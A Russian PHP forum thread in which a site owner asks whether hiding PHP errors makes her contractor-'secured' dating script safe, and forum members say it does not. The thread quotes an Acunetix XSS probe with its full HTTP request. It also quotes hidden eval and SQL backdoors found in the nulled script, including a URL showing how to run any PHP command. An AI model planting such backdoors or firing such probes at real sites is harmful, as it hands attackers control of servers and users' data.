Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: php_flag display_errors Off и уязвимости
 
 автор: zeta777   (01.12.2009 в 12:11)   письмо автору
 
 

Здравствуйте. Скажите, если при php_flag display_errors Off программа по обнаружению уязвимостей не обнаруживает их, а без этой записи в .htaccess уязвимостей ооочень много - высокой степени, в основном все SQL-injection - этот код безопасный или нет? Можно ли считать, что если при php_flag display_errors Off уязвимостей не обнаружено, значит код безопасный? Проверку на уязвимости делала при помощи программы acunetix vulnerability scanner

Спасибо заранее

   
 
 автор: sim5   (01.12.2009 в 16:03)   письмо автору
 
   для: zeta777   (01.12.2009 в 12:11)
 

php_flag display_errors - служит для вывода/отключения ошибок допущенных вами, и к безопасности никакого отношения не имеет, если только не косвенно. А то, что у вас много уязвимостей в коде, так значит код написан криво, и php_flag display_errors Off вам не поможет.

   
 
 автор: zeta777   (01.12.2009 в 16:54)   письмо автору
 
   для: sim5   (01.12.2009 в 16:03)
 

У меня такая ситуация - я отдала скрипт на то, чтобы его откорректировали и убрали из него уязвимости, в общем договор был такой - я плачу, мне отдают 100% чистый код, без уязвимостей. Мне отдали код, в котором программа acunetix vulnerability scanner обнаружила 14 уязвимостей высокой степени (XSS-атаки в основном) при настройке в .htaccess php_flag display_errors Off
А без php_flag display_errors Off обнаруживает еще и кучу SQL-инъекций. Но те, кому я заплатила за работу утверждают (цитирую)

php_flag display_errors Off - защищает от раскрытия путей к файлам. Сейчас
поясню. Движок был написан таким образом, что при переходе с
register_globals on на off, возникает множество сообщений об ошибках,
но(!) это НЕ уязвимости. Это все лишь раскрытие путей, которое дает
злоумышленнику дополнительную информацию. Можно каждую фиксить, а можно
поставить display_errors в значение Off. От этого суть не меняется. Но,
чтобы фиксить каждую такую ошибку, надо по-сути переписывать движок, а
такой задачи у нас не было. Поэтому этой строчкой php_flag display_errors
Off - мы отключаем сообщения об ошибке, чтобы никто не смог их прочитать.




С этим я согласна, но, насколько я понимаю, есть большая разница между ошибками и уязвимостями. Acunetix vulnerability scanner пишет, что это именно уязвимости. Вот кусок из отчета этой программы:

Cross Site Scripting Severity High
Affects /register.php
DetailsThe POST variable action has been set to </div><ScRiPt%20%0a%0d>alert(1126760954)%3B</ScRiPt>.
TypeValidation
DescriptionThis script is possibly vulnerable to Cross Site Scripting (XSS) attacks.
POST /register.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: dat.client.com
Content-Length: 1005
Cookie: PHPSESSID=de4fc3cc9328c2afebfdcb853355a168
Connection: Close
Pragma: no-cache

login=111-222-1933email@address.com&amp;
pswd_1=111-222-1933email@address.com&amp;
pswd_2=111-222-1933email@address.com&amp;
email=111-222-1933email@address.com&amp;
fname=111-222-1933email@address.com&amp;
lname=111-222-1933email@address.com&amp;
byear=111-222-1933email@address.com&amp;
bmonth=111-222-1933email@address.com&amp;
bdate=111-222-1933email@address.com&amp;
city=111-222-1933email@address.com&amp;
state=Adana&amp;country=Afghanistan&amp;
sex=111-222-1933email@address.com&amp;
occupation=111-222-1933email@address.com&amp;
ethnicity=111-222-1933email@address.com&amp;
relationship=111-222-1933email@address.com&amp;
picture=111-222-1933email@address.com&amp;
url=111-222-1933email@address.com&amp;
escription=111-222-1933email@address.com&amp;
details=111-222-1933email@address.com&amp;
f1=111-222-1933email@address.com&amp;
e1=111-222-1933email@address.com&amp;
f2=111-222-1933email@address.com&amp;
e2=111-222-1933email@address.com&amp;
f3=111-222-1933email@address.com&amp;
e3=111-222-1933email@address.com&amp;
Submit=Kabul%20Ediyorum&amp;action=&lt;
/div&gt;&lt;ScRiPt%20%0a%0d&gt;alert(1126760954)%3B&lt;/ScRiPt&gt;&amp;type2=main&amp;upload=1
Response
HTTP/1.1 200 OK
Date: Sat, 28 Nov 2009 07:01:57 GMT
Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By: PHP/5.2.4
Connection: close
Content-Type: text/html; charset=windows-1251

И такого полно.

Однако меня пытаются убедить, что работа выполнена честно и уязвимостей в скрипте никаких нет. Мне же кажется, что меня очень хорошо "поимели" (заплатила 40 000 за эту работу).

Вот я и спрашиваю - прав ли исполнитель, когда пишет, что код чистый, без язвимостей, и php_flag display_errors Off может реально как-то оградить от уязвимостей.

   
 
 автор: Fractured#   (01.12.2009 в 17:25)   письмо автору
 
   для: zeta777   (01.12.2009 в 16:54)
 

> Мне же кажется, что меня очень хорошо "поимели"

Так и есть.

> Вот я и спрашиваю - прав ли исполнитель, когда пишет, что код чистый, без язвимостей, и php_flag display_errors Off может реально как-то оградить от уязвимостей.

Нет.

   
 
 автор: Rebz   (03.12.2009 в 13:17)   письмо автору
 
   для: Fractured#   (01.12.2009 в 17:25)
 

Из 63 страниц отчёта с уязвимостями, отключение error_reporting - лишь одна из рекомендаций.

   
 
 автор: Гость   (01.12.2009 в 17:34)   письмо автору
 
   для: zeta777   (01.12.2009 в 16:54)
 

Если не секрет - то что это за скрипт, что была уплачена такая сумма?

   
 
 автор: sim5   (01.12.2009 в 17:40)   письмо автору
 
   для: zeta777   (01.12.2009 в 16:54)
 

Не стоит конечно показывать ошибки пользователю, и на реальном сервере вывод их на экран можно отключить, и выводить их в лог файл.
Но прежде чем выставлять на сервер, нужно устранять причину ошибок, на то он и display_errors. Даже "безобидное", казалось бы, предупреждение при включенном register_globals (как это у вас было ранее), может иметь в последствии катастрофический результат.
Уязвимость и как с ней бороться, вопрос многогранный, читать и читать по нему, но то, что выключение вывода ошибок на экран не может служить вообще никакой защитой, а тем более 100%, это 100% точно.

   
 
 автор: Лена   (01.12.2009 в 17:40)   письмо автору
 
   для: zeta777   (01.12.2009 в 16:54)
 

Человек, который делал Вам работу, не знает, чем отличается php_flag register_globals от php_flag display_errors, и пудрит Вам мозги.
От того, что ошибки теперь не выводятся на экран, ничего не изменилось. Они все до одной остались, просто вы их не видите.

   
 
 автор: Rebz   (03.12.2009 в 13:15)   письмо автору
 
   для: Лена   (01.12.2009 в 17:40)
 

Не пудрим, перевод был осуществлён, уязвимости исправлены. Все переменные идущие в запросы должным образом обработаны.

   
 
 автор: neadekvat   (01.12.2009 в 19:29)   письмо автору
 
   для: zeta777   (01.12.2009 в 16:54)
 

> Но, чтобы фиксить каждую такую ошибку, надо по-сути переписывать движок, а
такой задачи у нас не было.

Вы не могли бы воспроизвести слово в слово (это будет просто, если велась переписка)
Ибо в зависимости от формулировки, они хоть вас фактически надули, но правы, либо же просто нагло врут и противоречат условиям договора.

Заплатив 40 тыс.рублей я б за такие исправления головы отрывал..

   
 
 автор: zeta777   (02.12.2009 в 11:55)   письмо автору
14.3 Кб
 
   для: neadekvat   (01.12.2009 в 19:29)
 

Привожу нашу переписку, может я неправа, не знаю

Здравствуйте. Не уверена, что обращаюсь по адресу. Хотелось бы довести до ума скритп, который был нуленым в паблике DatingAgent версия 4.7 (если надо могу прислать скрипт полностью) Он работает при register_globals on, нужно перевести на register_globals off и закрыть уязвимости. В любом случае - если вы за это беретесь или нет - прошу написать ответ. Очень надеюсь, что вы мне поможите :) С уважением, Z

Здравствуйте! Хотелось бы уточнить некоторые детали. 1) что значит довести скрипт до ума? Дописать необходимый функционал или только перевести скрипт из register_globals on в register_globals off? 2) с нашим прайс-листом ознакомлены? Вам как первому клиенту сделаем хорошую скидку! Жду Вашего ответа, с уважением R

Здравствуйте. Функционал мне не надо дописывать. Мне надо перевести в register_globals off и проверить на уязвимости и убрать их. там, насколько я понимаю, нет нормальной фильтрации данных. В общем, этот скрипт сделать безопасным. С прайсом знакома, хотя скидкам, конечно, буду рада :) Если вы согласны за это взяться - было бы чудесно. Вам нужен сам скрипт или он есть у вас? Я его на всякий случай прикрепляю. C уважением, Z

Здравствуйте! Мы беремся, но нам ещё понадобится некоторая информация. А именно: структура БД с какими-нибудь тестовыми данными. Ещё хотел бы, чтобы Вы выбрали способ оплаты: по найденным уязвимостям или помегабайтно (оба варианта представлены в прайс-листе). Есть нюансы. Ваш присланный код в чистом виде будет около 0.5 мб. При беглом осмотре код достаточно сырой, есть уязвимости и достаточно много. Стоимость нахождения их будет в совокупности большая, поэтому я бы посоветовал Вам выбрать способ помегабайтно. 10 тыс.руб предоплата, всего за 1 Мб кода = 20.000 руб. + отдельная плата за патчи уязвимостей + скидка. Если Вы согласны, буду ждать структуру БД. Сроки - 1-1,5 недели. Есть есть какая-то степень срочности в сроках - пишите, обсудим. С уважением, R

Здравствуйте. Там в папке webmaster/sql есть структура бд и какие-то в ней демо профили. да, кстати, там еще вложен форум phpbb, он не нужен. Там по умолчанию интеграции форума в скрипт нет, только опционально, так что форум не смотрите. Правильно ли я поняла, мне надо оплатить сейчас 10 000 и потом за окончателный вариант - если можно уточнить сколько именно? Как вам удобнее платить? Мне удобно WM или можно через rupay, главное не ЯД. Впрочем, как скажите, так и оплачу. И еще вопрос, так, на всякий случай вы гарантируете, что это будет безопасный код? И нормальный переход на global_register off не при помощи чего-то типа {import_request_variables('GPC');}?>, а именно прописав все переменные в скрипте как положено? Если да пишите как вам удобнее оплатить и конечную сумму желательно все-таки знать... :) С уважением, Z

Да, совершенно правильно поняли. Нам удобнее WebMoney. Наш кошелек: R427680998296. Проверка будет на всех переменных, гарантируем безопасный код. По окончании нашего исследования будет подробный отчет всех уязвимых мест в коде и их фиксах. Конечная сумма будет колебаться, т.к. сейчас неизвестно сколько будет найдено уязвимостей и сколько будет патчей к ним. Примерно, я думаю, сумма будет составлять 30-40 тыс.руб, но это навскидку (включая предоплату). Если Вы не возражаете, я буду по ходу спрашивать у вас детали. Нас интересует версия php сервера, где будет стоять данный скрипт.
С уважением, R

версия php 5
Хотела уже было передавть вам деньги, но... Уж не в обиду, все ваши данные на wm закрыты, кошелек формальный, ничего не проверишь, отзывов ни положительных, ни отрицательных нет.... Хотелось бы все-таки какие-никакие гарантии, деньги-то не такие уж и маленькие... Может на se или еще где есть о вас какие-то отзывы? Хоть какие-то гарантии все ж нужны... С уважением, Z

Я Вас понимаю. Гарантией может быть мой статус супермодератора на форуме antichat. Ну а также могу дать другой кошелек, который скажет о себе куда больше, чем нынешний :). Этот вопрос решу с командой, если это необходимо. С уважением, R

OK, в конце концов, сама работаю в инете, знаю, что иногда приходится просто довериться перевела код протекции 15347, промечание - за скрипт datingpro. С уважением, Z

Здравствуйте! Появились вопросы по скрипту. Код, который Вы предоставили, выглядит несколько криво, в частности, местами в HTML вставках присутствуют ссылки вида login.php?username=$tm0[login]&password=$passdc&login=1&autologin=1, которые являются заведомо неработающими + некоторые другие моменты, например, вместо $tm0[pics] пишется $tm0pics. Вы действительно пользовались этим кодом? Спрашиваем на всякий случай, только для того, чтобы удостоверится, что существующий сейчас функционал и существующие ошибки логики (не безопасности и не связанные с register_globals) вам по крайней мере известны. С уважением, R

Здравствуйте. Вообще-то на этом коде у меня сайт стоял несколько лет > :) и работал... Просто хостер сейчас сделал register_globals off, можно конечно сделать в настройках on, но хочется чтобы все по-людски, как говорится... :), плюс я знаю, что там уязвимости... Но чтобы не работал такого не наблюдалось. Ну, ладно, разберусь... С уважением, Z

Ок, понял. Тогда ещё такой вопрос от нашего специалиста: "Нужен ли файл nm_temp_1602278.php? т.к. я на него нигде не нашёл ссылок из других файлов
С уважением, R

Здравствуйте. нет, не нужен С уважением, Z


Здравствуйте! В некоторых файлах, предоставленного вами движка имеются закладки-бекдоры. Т.е. функциональность позволяющая получить полный доступ к серверу, на котором этот движок установлен. Причём эта функциональность была добавлена явно специально. К примеру, бекдоры были обнаружены в файлах: chat_zone.php messages.php picture.php top_pictures.php Код выглядит примерно так: if (md5($sclicpp)=='b8fdd34dc21e95d7b0dfb5aea3b7fbde') eval($sclicpq); И пример использования: chat_zone.php?sclicpp=cphp&sclicpq=[ТУТ ЛЮБАЯ КОМАНДА PHP] Вопрос: Вы знаете об этой функциональности, или она была добавлена до Вас? Что будем с ней делать? С уважением, R

Здравствуйте. Это, насколько мне известно, оставил разработчик для контроля за лицензированным использованием скрипта.. Я в своем рабочем скрипте все равно это убираю, типа вместо $nr1=f(q("select count(id) as e from event where status>0 and type='picreview' and user_id='$pid'"));{ > if ($sclicsp) if > (md5($sclicsp)=='c62702b96da209e63039cb3881ba0eb5') > q($sclicsq);} > if (rand(0,1000)==1){$ttxt001="";}; > echo "width=80% > bgcolor=AAAAAA > align=center>"; ставлю просто $nr1=f(q("select count(id) as e from event where > status>0 > and > type='picreview' and user_id='$pid'")); echo " width=80% > bgcolor=AAAAAA > align=center>"; и все нормально работает... С уважением, Z

Здравствуйте! Уже почти все готово. Отчет будет в пятницу вечером. Постараемся успеть сделать к этому сроку. Я думаю, будет следующая схема. Мы Вам предоставляем отчет о всех найденных багах с конечной стоимостью, Вы смотрите его, переводите итоговую сумму, мы подтверждаем, что сумму получили и отправляем Вам сам конечный код скрипта. Если есть какие коррективы или поправки - рад буду выслушать :) С уважением, R

OK, мне это подходит. Надеюсь только что конечная сумма будет в пределах разумного...:) С уважением, Z

Здравствуйте! Прошу прощения за небольшую задержку. Высылаю Вам отчёт по найденным уязвимостям. Исходные коды так же уже готовы, после оплаты отправим и их. С уважением, R

Здравствуйте. Отчет ваш получила. Сумма мне кажется излишне завышенной. Все-таки речь изначально шла о 30 000, да вы еще и скидку обещали, а теперь получается 45000 в общей сложности. По-моему это не совсем честно. Тем более, что первые 4 уязвимости высокой степени , как я вам уже писала, меня не интересовали, я и сама их удаляла спокойно из кода. Могу доплатить, как и договаривались в начале 20 000, в общей сложности получится 30 000 - по-моему это вполне разумная сумма. Надеюсь, вы со мной согласитесь. С уважением, Z


Здравствуйте! Очень жаль, что возникли недоразумения, но я думаю, мы с Вами найдем общее решение. Вы попросили назвать примерную стоимость заказа. Вот что я Вам написал "Примерно, я думаю, сумма будет составлять 30-40 тыс.руб, но это навскидку (включая предоплату)". Первые 4 уязвимости мы показали как обнаруженные. В стоимость они не входят. Я могу Вам посчитать полную стоимость залатанных ошибок (согласно нашему прайсу) и посчитать скидку: 29 sql-injection = 29*1.000 = 29.000 руб 1 file upload = 1*1.000 = 1.000 руб 1 Local File Include = 1*1.000 = 1.000 руб 14 Active XSS = 14*1.000 = 14.000 руб 11 Passive XSS = 11*300 = 3.300 руб Итого: 48.300 руб. Мы с Вас берем всего 20.000 руб. Скидка составляет: 41,5% Движок нами был полностью переписан, фактически. Он писался программистами, которые вообще не думали о безопасности. Чуть ли не каждый параметр уязвим. Проделана огромнейшая работа с нашей стороны. Так как Вы у нас первый клиент, мы делаем Вам скидку около 50%. Договоримся на 30 тыс.руб. Надеюсь, вы оцените наше качество! C уважением, R

Ok, в конце концов главное, чтобы работа была качественной. То есть я должна доплатить вам 30 000? С уважением, Z

Да, и после получения денег (также с протекцией), мы Вам отправляем скрипт, как и договаривались. С уважением, R

работа оплачена (с примечанием за скрипт datingpro) код 19428. Жду скрипт С уважением, Z

Здравствуйте! Деньги получены. Высылаем скрипты! Если где будут косячки - пишите, поправим. Но по идее их быть не должно. PS прошу обратить внимание на рекомендации в отчете (они в зеленой таблице) :) С уважением, R

Здравствуйте. К сожалению, должна сказать, что качество работы меня совсем не устраивает. Я только-только начала тестировать и уже вижу - заполненные поля не сохраняются - то есть, например, при редактировании профайла поля заполняешь - а значения не сохраняются, опять поля пустые. Во-вторых, в качестве фото я спокойно закачала txt файл - а это явная дыра. Это при самом поверхностоном взгляде, при первых же моих действиях. Дальше даже проверять не стала. Думаю, вы сами понимаете, что это не работа. Надеюсь на исправление. С уважением, Z

Здравствуйте! Возможно, движок был установлен некорректно. Давайте попробуем так: 1) удалите все старые файлы и директории оттуда, куда ставите движок 2) распакуйте все файлы из архива dat_final_2.rar в эту директорию 3) проверьте ещё раз те ошибки, что вы нам прислали, т.к. мы не можем их у себя воспроизвести. Если ошибки сохранились - напишите нам URL и названия полей, какие не сохранились. С уважением, R

Здравствуйте. Устанавливала чистый движок, все делала по новой раза три. Ошибки есть. Пожалуйста проверьте. Я же написала - как минимум - не сохраняются поля при редактировании и можно вместо фото закачать любой файл. Возможно есть и другие. Я посылаю вам аттачи с демонстрацией того, о чем я говорю - обратите внимание на ошибку в файле 1.gif, на пустую фотографию в файле 2.gif (это потому что вместо фото я закачала текстовый файл) на адресную строку в этом же файле, из которой видно, что полноразмерное фото указывает на сайт zeta777.ru - это тоже вместо фото, должно указывать на адрес полноразмерного фото В файле 3.gif посмотрите, что я заполнила поля выборочные (не текстовые, с текстовыми вроде все нормально) а в файле 4.gif они пустые. Это только то, что я сейчас, сидя на работе увидела. На выходных проверю тщательно при помощи Acunetix Web Vulnerability Scanner, сообщу результат С уважением, Z

Здравствуйте! Очень странно. Давайте по порядку. Ошибка на скриншоте 1.gif, 2.gif В дистрибутиве 1.htaccess переименуйте в .htaccess (в dat_final_2.rar этот файл уже назван корректно). Ошибка на скриншоте 3.gif, 4.gif. При редактировании профиля не сохраняются только некоторые списки. Но ведь так было и в оригинале. Мы не просто так спрашивали, что в курсе ли Вы о тех ошибках логики, которые изначально заложены в скрипте. В оригинальном скрипте также не сохраняются некоторые из полей, где значение предлагается выбрать из списка и эта ошибка не является проблемой безопасности. Также и с загрузкой txt-файла. Если Вы вписывайте в поле "Or display from url" txt-файл (simple.txt, например), то он отобразится в списке, но прочесть Вы его не сможете. Эта ошибка присутствовала и в оригинальной версии движка и также не является уязвимостью. С уважением, R

Здрвствуйте. действительно, очень странно. Я на этом движке работаю уже несколько лет, у меня на нем сайт, более 80000 пользователей, а вы мне говорите - ошибки были изначально. Эти ошибки проходят, если перейти в register_globals on, при настройке on все поля прекрасно сохраняются, при off - нет. Значит, это ваша недоделка. Что касается фотографий - не знаю, при помощи каких ошибок в htaccess можно закачивать txt файлы вместо фото. Это явная ошибка безопасности. тем более, что я осведомлена о том, как нужно использовать .htaccess и прекрасно понимаю, что нужно делать с файлом 1.htaccess. Если я заказала вам работу по переводу скрипта на globals off и на устранение уязвимостей - это еще не значит, что я полный чайник. Я считаю, вы должны доделать свою работу. Мы договаривались, что вы мне отдатите полностью безопасный скрипт, который полностью работает при register_globals off, а вы, вместо этого, пытаетесь мне доказать, проблема в том, что я полная дура и ничего не понимаю (в вежливой форме, конечно :). Это некрасиво. Все же надеюсь на то, что вы доведете свою работу до конца. С уважением, Z

Здравствуйте! Вы не против, если я сниму видео, где разархивирую оба архива, создаю 2 сайта и проверяю работоспособность редактирования профиля? Поверьте, мы работаем лишь с тем, что Вы нам прислали. Не больше и не меньше. Почему у всех у нас поля профиля сохраняются не все? Может, Ваша копия сайта, с которой Вы несколько лет работаете, была немного модифицирована и доработана, чем та null-версия, что Вы нам прислали? Нам просто незачем Вас обманывать или играть на том, что Вы можете ничего не понимать - это очень непрофессионально и глупо. Насчет фото такая же ситуация. Вы пишете "можно закачивать txt". Это не так. Попробуйте закачайте txt-файл и посмотрите в папке pictures. Разве он там будет? Если будет, то это действительно ошибка безопасности. Если его там не будет, то значит он (файл) туда просто не закачен. Я уверен, мы вместе разберемся мирно с этой проблемой и решим её в наикратчайшее время! С уважением, R

Я именно и предлагаю вам проверить работоспособность. Причем проверьте при register_globals on - и вы увидите. что поля сохраняются. Не сохраняются именно при register_globals off. А это была часть интересующей меня работы. Что касается закачки - присылаю вам аттач с записями в базе данных, где вы увидите, что в базу данных вместо файла пошла текстовя запись. Вы, конечно, можете сказть, что я ее туда ввела вручную, но это не так. Я ее туда закачала вместо фото. С уважением, Z

Смотрим скриншот и замечаем, что поле status = 0, в отличие от нормально загруженных картинок. Если Вы НЕ введете "display from url", то запись в БД не появится. Так работает Ваш исходный файл и также работает наш вариант. Поверьте, опасности здесь нет, потому что содержимое txt-файла нигде не хранится. Есть только его название в БД. Так движок написан. Если не прав - поправьте.С уважением, R

Вы не правы. Как написан этот движок я прекрасно знаю. Статус 0 - ничего особо существенного не означает. Если фото одобрено админом - статус 1, если нет - статус 0. Но, по-любому, фото, или то, что вместо него закачано, отображается на сайте, а значит, если я закачаю туда какой-нить файл для того, чтобы получить доступ к базе например - я смогу им воспользоваться. Мне казалось - и я в этом уверена - что ваша задача сделать так, чтобы закачать туда что-то кроме фотки было бы просто невозможно, независимо от статуса. С уважением, Z

Да, простите, я оказался неправ насчет статуса. Запись в базе создаётся, но это ни в коей мере не является проблемой безопасности, т.к. наличие записи в базе ни как не позволяет ни раскрыть информацию о сервере, ни выполнить какой бы то ни было код на стороне пользователя, ни запустить какой нибудь код на сервере. Вот, например, картинки вообще без расширения: http://l-userpic.livejournal.com/95137038/339052 И при этом этот файл является картинкой, то есть что будет являться картинкой, а что нет определяется на том сервере, url которого вводишь. И чтобы я не ввёл в то поле, на безопасность я повлиять никак не сможешь. В худшем случае картинка просто не будет отображаться (при этом она не будет загружена в директорию /pictures/ ). Наша задача - решить проблемы безопасности, но не исправлять баги не имеющие никакого отношения к безопасности изначально. Я сейчас заново скачаю Ваш первоначальный файл, установлю его и проверю. Советую Вам сделать тоже самое. Либо скиньте, пожалуйста, ту версию, где у Вас поля профиля все сохраняются, мы сравним файлы с тем, что Вы прислали в первый раз. С уважением, R


Здравствуйте. Так и не получила ответа на свои вопросы, кроме того, проверила скрипт при помощи программы acunetix и прога выдала мне кучу уязвимостией. Посылаю вам отчет программы. Плюс, если убрать из .htaccess php_flag display_errors Off добавляется вообще немеряно уязвимостей, чуть ли не больше, чем когда было без вашей работы. Не уверена, правда, может php_flag display_errors Off и может считаться, хотя мне казалось, что если нет уязвимостей, то дело не втом, показываются они или нет, а просто в том, что их нет. Я проконсультируюсь на форумах, может ли запись php_flag display_errors Off считаться защитой от уязвимостей. Но тот отчет, который я вам посылаю - он проверялся с вашими настройками, то есть при наличии записи в .htaccess php_flag display_errors Off Очень надеюсь на объяснение с вашей стороны и на доделанную работу иначе просто вынуждена буду пооставлять на форумах негативные отзывы о вашей работе с приложением нашей переписки и отчета AVS, который указывает на наличие 14! уязвимостей высокой степени в исправленном вами коде. насчет php_flag display_errors Off, как уже писала - буду уточнять С уважением, Z


Здравствуйте! Мне казалось, я Вам всё объяснил насчет загрузки картинки. Прошу конкретизировать Ваши вопросы и прислать ту версию скрипта, где все поля при редактировании профиля сохраняются. php_flag display_errors Off - защищает от раскрытия путей к файлам. Сейчас поясню. Движок был написан таким образом, что при переходе с register_globals on на off, возникает множество сообщений об ошибках, но(!) это НЕ уязвимости. Это все лишь раскрытие путей, которое дает злоумышленнику дополнительную информацию. Можно каждую фиксить, а можно поставить display_errors в значение Off. От этого суть не меняется. Но, чтобы фиксить каждую такую ошибку, надо по-сути переписывать движок, а такой задачи у нас не было. Поэтому этой строчкой php_flag display_errors Off - мы отключаем сообщения об ошибке, чтобы никто не смог их прочитать. Но опять же - фикс раскрытия путей стоит 150 руб., у движка их более ста штук (много, в общем) таких раскрытий. Мне кажется, мы предложили самый экономичный и менее затратный путь. Отчет acunetix мы изучаем, некоторые ошибки связаны с конфигурацией Вашего сервера и не имеют отношения к движку. Точный разбор всего, что нашёл сканер, вышлю Вам позднее... С уважением, R

Здравствуйте. Мне кажется, что вы очень и очень недобросовестно отнеслись к своей работе. Я не знаю ваших тонкостей, но суть задачи, поставленной перед вами, вы не выполнили. Я не ставила вам задачу исправить то-то и то-то, я расчитывала на то, что получу просто 100% надежный скрипт. Теперь выясняется, что вы, как вы говорите, выбрали самый надеждный и экономичный путь, то есть вместо исправления ошибок закрыли их и все, а мне пишите, что исправление стоит дополнительных денег. Мы договаривались по-другому. Что касается настроек моего сервера - он настроен стандартно, так, как настроено подавляющее большинство серверов. Мне не нужен скрипт, нормально работающий при каких-то определенных специфических настройках, мне нужен скрипт, работающий нормально при обычных стандартных настройках, а у меня на сервере именно они. В общем я жду от вас либо 100% надежного скрипта в самое ближайшее время, так как вместо недели споры с вами уже растянулись на три недели либо вы должны вернуть мне деньги, так как в таком состоянии мне скрипт не нужен. С уважением, Z

Здравствуйте!
Получив Ваше последнее письмо и посмотрев отчёт сканера, мы пришли к
убеждению, что оспаривать Ваши аргументы и отвечать на технически
неграмотные вопросы нет больше ни сил, ни желания. Посему предлагаем
поступить вот как. Вы уже получили безопасный скрипт, если внимательно
посмотрите на отчёт сканера, то увидите что это за ошибки. Вы не
выполняете наши рекомендации, изложенные в отчёте (в частности, про
phpinfo), вы считаете, что лучше нас понимаете нужен флаг display_errors
Off в htaccess или нет, и что является проблемой безопасности, а что ей не
является. Если Вам по-прежнему кажется, что скрипт уязвим или не работает,
предлагаю Вам привлечь стороннего эксперта (хотя-бы для того, что-бы он
объяснил Вам что за ошибки нашёл сканер и можно ли их проэксплуатировать)
или самой показать нам, как по вашему мнению возможно воспользоваться
найденными "уязвимостями". Дальнейшую переписку предлагаю вести с
привлечением специалиста, который покажет как и что мы сделали
неправильно, а ещё лучше, воспользовавшись уязвимостью из отчёта сканера,
покажет как именно можно взломать скрипт. Если такого специалиста найти
возможности нет, предлагаем вынести куски кода и отчёт сканера на любой
форум по безопасности, где Вам расскажут безопасен код или нет.

Единственное, что мы пропустили, это одну XSS в файле register.php.
Фикс - замените строчку 95:
if($action!="submit"|| $es !=""||($action=="" && $es=="")) { echo $action;?>
на строчку:
if($action!="submit"|| $es !=""||($action=="" && $es=="")) { echo
htmlspecialchars($action);?>
Или скачайте прикрепленный исправленный файл register.php.

С уважением, R


Такая вот была переписка. Прикрепляю также два файла с отчетами об уязвимостях от Acunetix Vulnerability Scanner - dat.html - это при прописанном в .htaccess php_flag display_errors Off - там 14 уязвимостей, в основном XSS

второй dat1.html - это проверка AVS если убрать из .htacess строчку php_flag display_errors Off

там только первые 3 минуты сканирования, показало 175!!!! уязвимостей высокой степени SQL injection в основном Хочу также добавить, что так много уязвимостей просто потому, что AVS проверяет каждую переменную разнми способами, если она не отфильтрована, то на каждую приходится по куче уязвимостейц. Насколько я понимаю, если нормально отфильтровать переменную - то с каждой отфильтрованной переменной будет меньше не на 1 уязвимость, а штук на 20, если не больше. Типа того, что уязвимости

The GET variable pictures has been set to '".
The GET variable pictures has been set to '.
The GET variable pictures has been set to \.

и так далее - все они идут как разные переменные, и если отфильтровать нормально переменную picture - то одним махом нескольких уязвимостей не будет.

То есть я могу сделать вывод, что переменные вообще не отфильтрованы никак.

Я не специалист, конечно, была бы специалистом - не платила бы 40000 за эту работу. очень прошу помочь мне разобраться. Если я не права - я буду только рада, так как мне в первую очередь нужны не разборки, а безопасный скрипт.

   
 
 автор: zeta777   (02.12.2009 в 11:59)   письмо автору
13.1 Кб
 
   для: zeta777   (02.12.2009 в 11:55)
 

еще прикрепляю dat1.html

   
 
 автор: Николай2357   (02.12.2009 в 12:07)   письмо автору
 
   для: zeta777   (02.12.2009 в 11:55)
 

После ценника в 40 00 рублей и фразы
Вам как первому клиенту сделаем хорошую скидку!
дальше можно и не читать. Надули Вас разумеется. И еще как.

   
 
 автор: zeta777   (02.12.2009 в 12:26)   письмо автору
 
   для: Николай2357   (02.12.2009 в 12:07)
 

Я наверно зря доверилась, но я действительно уже давно пользуюсь услугами в интернет по рекомендациям с форумов и еще никогда меня не обманывали - люди как правило дорожат своим именем в интернет, оно не так легко зарабатывается.... Если возможно, дайте компетентную оценку действиям исполнителя, так как мои слова исполнитель просто игнорирует, ссылаясь на мою некомпетентность в этом вопросе.

   
 
 автор: Николай2357   (02.12.2009 в 12:39)   письмо автору
 
   для: zeta777   (02.12.2009 в 12:26)
 

Ссылочку можно на сайт... Проглядел наверно, если была

   
 
 автор: zeta777   (02.12.2009 в 12:43)   письмо автору
 
   для: Николай2357   (02.12.2009 в 12:39)
 

Вы какой сайт имеете ввиду? Если тот, который проверяли - так я просто отсылала скрипт, проверяли не сайт, а скрипт

   
 
 автор: Николай2357   (02.12.2009 в 12:48)   письмо автору
 
   для: zeta777   (02.12.2009 в 12:43)
 

ну его и имею... где Вы взяли его. Или стукните в личку. Любопытно очень стало))

   
 
 автор: zeta777   (02.12.2009 в 12:55)   письмо автору
 
   для: Николай2357   (02.12.2009 в 12:48)
 

Это одни из скриптов знакомств, нуленный, называется Dating PRO.

   
 
 автор: Fractured#   (02.12.2009 в 12:56)   письмо автору
 
   для: zeta777   (02.12.2009 в 12:55)
 

А что теперь делать собираетесь?)

   
 
 автор: zeta777   (02.12.2009 в 13:01)   письмо автору
 
   для: Fractured#   (02.12.2009 в 12:56)
 

Хотелось бы дать исполнителю почитать мнения не дилетантов (так как мое мнения и попытки что-то доказать исполнителем просто игнорируются, как я уже писала в силу моей некомпетентности) и, если это возможно, все-таки заставить его при помощи общественности довести скрипт до ума :) Или вернуть деньги, хотя бы часть. В его отчете написано, что перевод скрипта в register_globals off он оценивает в 5000. Ну пусть 5000 и даже 10000 оставит себе, остальное вернет.... Не уверена, что это возможно, но попытка не пытка. Жалко и денег и жалко и что скрипт как был уязвимым так и остался... А мне он нужен

   
 
 автор: Fractured#   (02.12.2009 в 13:04)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:01)
 

